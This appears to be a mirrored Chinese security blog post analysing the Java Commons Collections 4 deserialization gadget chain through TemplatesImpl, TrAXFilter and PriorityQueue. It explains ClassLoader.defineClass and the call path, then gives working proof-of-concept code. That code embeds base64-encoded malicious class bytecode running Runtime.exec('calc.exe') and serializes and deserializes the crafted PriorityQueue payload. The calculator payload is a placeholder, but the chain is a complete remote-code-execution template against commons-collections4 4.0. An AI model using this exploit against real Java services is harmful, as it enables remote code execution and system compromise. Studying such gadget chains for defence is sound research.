1

Java cc链-TemplatesImpl利用分析

 2 years ago
source link: https://tyskill.github.io/posts/javatemplatesimpl/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

前置知识

ClassLoader

顾名思义,ClassLoader的作用是将一个字节码文件转化为内存中的对象,实现过程分为三个方法:loadClass、findClass、defineClass。

loadClass:从字节码.class文件加载目标类的入口(字节码文件可以是本地文件资源、远程文件资源),在这个过程中会查找当前ClassLoader是否已经加载过这个类,如果没有加载过就会通过双亲委派机制让parent的ClassLoader尝试加载目标类。

Class<?> c = findLoadedClass(name);
if (c == null) {
    long t0 = System.nanoTime();
    try {
        if (parent != null) {
            c = parent.loadClass(name, false);
        } else {
            c = findBootstrapClassOrNull(name);
        }
    } catch (ClassNotFoundException e) {
        // ClassNotFoundException thrown if class not found
        // from the non-null parent class loader
    }
    ...
}

如果还不行就会调用findClass方法来决定加载目标类的方式,最后获得一段字节流交给defineClass处理。

if (c == null) {
    // If still not found, then invoke findClass in order
    // to find the class.
    long t1 = System.nanoTime();
    c = findClass(name);
	...
}

defineClass:将前面获得的字节流转换为一个对象

protected final Class<?> defineClass(String name, byte[] b, int off, int len,
                                     ProtectionDomain protectionDomain)
    throws ClassFormatError
{
    protectionDomain = preDefineClass(name, protectionDomain);
    String source = defineClassSourceLocation(protectionDomain);
    Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
    postDefineClass(c, protectionDomain);
    return c;
}

如何利用defineClass

从上面可知defineClass是完成字节码到对象转换的关键,因此可以通过直接传入字节流经过defineClass方法创建对象。

先写一个恶意类编译出.class文件,然后内容base64一下(代码基于P师傅漫谈修改,作用是弹计算器)

Method defineClass =
    ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                                        byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String src = "yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQA" +
    "YBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1" +
    "iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAFwE" +
    "AClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAkACgcAGwwAHAAdAQA" +
    "IY2FsYy5leGUMAB4AHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MACA" +
    "ACgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5" +
    "nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J" +
    "1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGp" +
    "hdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAc" +
    "ACAAAAAAAAgABAAkACgABAAsAAAAdAAEAAQAAAAUqtwABsQAAAAE" +
    "ADAAAAAYAAQAAAAMACAANAAoAAQALAAAATwACAAEAAAASuAACEgO" +
    "2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAGAAk" +
    "ACQAMAAcADQAIABEACgAOAAAABwACTAcADwQAAQAQAAAAAgAR";
byte[] code = Base64.getDecoder().decode(src);
Class hello = (Class)defineClass.invoke(
    ClassLoader.getSystemClassLoader(),
    null,
    code,
    0,
    code.length
);
//        System.out.println(src);
hello.newInstance();

TemplatesImpl

从上面大部分都是piao的代码可以看出直接传入字节码实现RCE是需要反射来调用defineClass方法,而直接通过反序列化的路径是很难直接接触到ClassLoader的defineClass方法的,因为defineClass方法是protected修饰符,但还好有一些底层类覆写了defineClass方法,其中之一就是经典的反序列化利用类——TemplatesImpl类

TemplatesImpl类定义了一个内部ClassLoader类TransletClassLoader,其中覆写了defineClass方法

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

    TransletClassLoader(ClassLoader parent) {
        super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
    }

    /**
         * Access to final protected superclass member from outer class.
         */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

可以看到defineClass方法没有声明权限修饰符,那么权限就是default,可以通过同package下的子类访问该方法。那么该如何通过TemplatesImpl加载传入的字节流呢?回溯一下调用链:

TemplatesImpl#getOutputProperties
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance /* 类注释有惊喜 */
TemplatesImpl#defineTransletClasses
TemplatesImpl$TransletClassLoader#defineClass

相比于其他的方法,defineTransletClasses方法在该类中有三处调用,但是我们选择了getTransletInstance方法,因为从getTransletInstance方法注释中我们可知生成的实例会被包含于Transformer对象中,而另外两个是为了返回字节码信息的。

了解了调用链发现newTransformer和getOutputProperties都是public修饰符,都可以被外部调用从而触发defineClass方法,这里就通过newTransformer方法来调用defineClass

public static void main(String[] args) throws Exception {
    String src = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwAhDAAiACMBAAhjYWxjLmV4ZQwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAEQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAACAABAA0ADgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEQAPAAAABAABABAAAQANABEAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABMADwAAAAQAAQAQAAgAEgAKAAEACwAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgAMAAAAFgAFAAAACwAJAA4ADAAMAA0ADQARAA8AEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==";
    byte[] code = Base64.getDecoder().decode(src);

    TemplatesImpl obj = new TemplatesImpl();

    setFieldValue(obj, "_bytecodes", new byte[][] {code});
    setFieldValue(obj, "_name", "tyskill"); // 任意字符串
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 必须为指定类
    obj.newTransformer();
}

public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);
}

注意:字节码对应的 class 需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类,因为在defineTransletClasses方法会进行一次基类判断

for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    // ABSTRACT_TRANSLET指com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    else {
        _auxClasses.put(_class[i].getName(), _class[i]);
    }
}

如果判断不通过就会报

20210828131635.png

错误导致无法成功加载字节码

提取字节码

https://blog.csdn.net/fnmsd/article/details/115015115

环境搭建

JDK版本:1.8u60

commons-collections4:4.0

 <dependencies>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
  </dependencies>

CommonsCollections 4

cc2还是用的Invoker,cc3使用InstantiateTransformer替换了Invoker,但是环境版本是3.1,cc4总结了两者,所以还是看一下cc4吧

条件:commons-collections4:4.0

Gadget chain

ObjectInputStream.readObject()
    PriorityQueue.readObject()
    	...
    		TransformingComparator.compare()
                InstantiateTransformer.transform()
                	TrAXFilter.TrAXFilter()
    					TemplatesImpl.newTransformer()
    						...

分析过程

InstantiateTransformer类的transform调用传入对象的无参构造器构造对象,但是TemplatesImpl并没有直接调用newTransformer或getOutputProperties方法的构造方法,那就需要寻找其他的调用路径:TrAXFilter

public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}

通过该类的无参构造方法可以顺利的实现defineClass方法调用,那么现在就没有问题了,然后就是耳熟能详的寻找transform环节,TransformingComparator类compare方法会调用比较对象的transform方法

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

然后到PriorityQueue类,该链剩下的调用链都是该类下方法间的调用

readObject() => heapify() => siftDown() => siftDownUsingComparator()

writeObject可控queue内容,因此siftDown在size大于1时可以处理queue内容,然后通过siftDownUsingComparator调用compare方法。且由于该类的字段comparator类型是Comparator<? super E>,因此可以通过构造方法直接传入TransformingComparator类

简陋的POC

public static void main(String[] args) throws Exception {

    String src = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACQAKBwAhDAAiACMBAAhjYWxjLmV4ZQwAJAAlAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAJgAKAQAEQ2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAACAABAA0ADgACAAsAAAAZAAAAAwAAAAGxAAAAAQAMAAAABgABAAAAEQAPAAAABAABABAAAQANABEAAgALAAAAGQAAAAQAAAABsQAAAAEADAAAAAYAAQAAABMADwAAAAQAAQAQAAgAEgAKAAEACwAAAE8AAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAgAMAAAAFgAFAAAACwAJAA4ADAAMAA0ADQARAA8AEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==";
    byte[] code = Base64.getDecoder().decode(src);

    TemplatesImpl obj = new TemplatesImpl();

    setFieldValue(obj, "_bytecodes", new byte[][] {code});
    setFieldValue(obj, "_name", "tyskill");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

    ChainedTransformer chain = new ChainedTransformer(
        new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[] { Templates.class },
                new Object[] { obj }
            )
        }
    );

    PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
    queue.add(1);
    queue.add(1);

    try {
        //            serialize(queue, "E:/tmp/cc4");
        deserialize("E:/tmp/cc4");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
    Field field = obj.getClass().getDeclaredField(name);
    field.setAccessible(true);
    field.set(obj, value);
}

public static void serialize(Object obj, String path) throws IOException {
    FileOutputStream fos = new FileOutputStream(path);
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(obj);
    oos.close();
}

public static void deserialize(String path) throws IOException, ClassNotFoundException {
    FileInputStream fis = new FileInputStream(path);
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
    ois.close();
}

参考

https://zhuanlan.zhihu.com/p/51374915

《Java安全漫谈》——P神


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK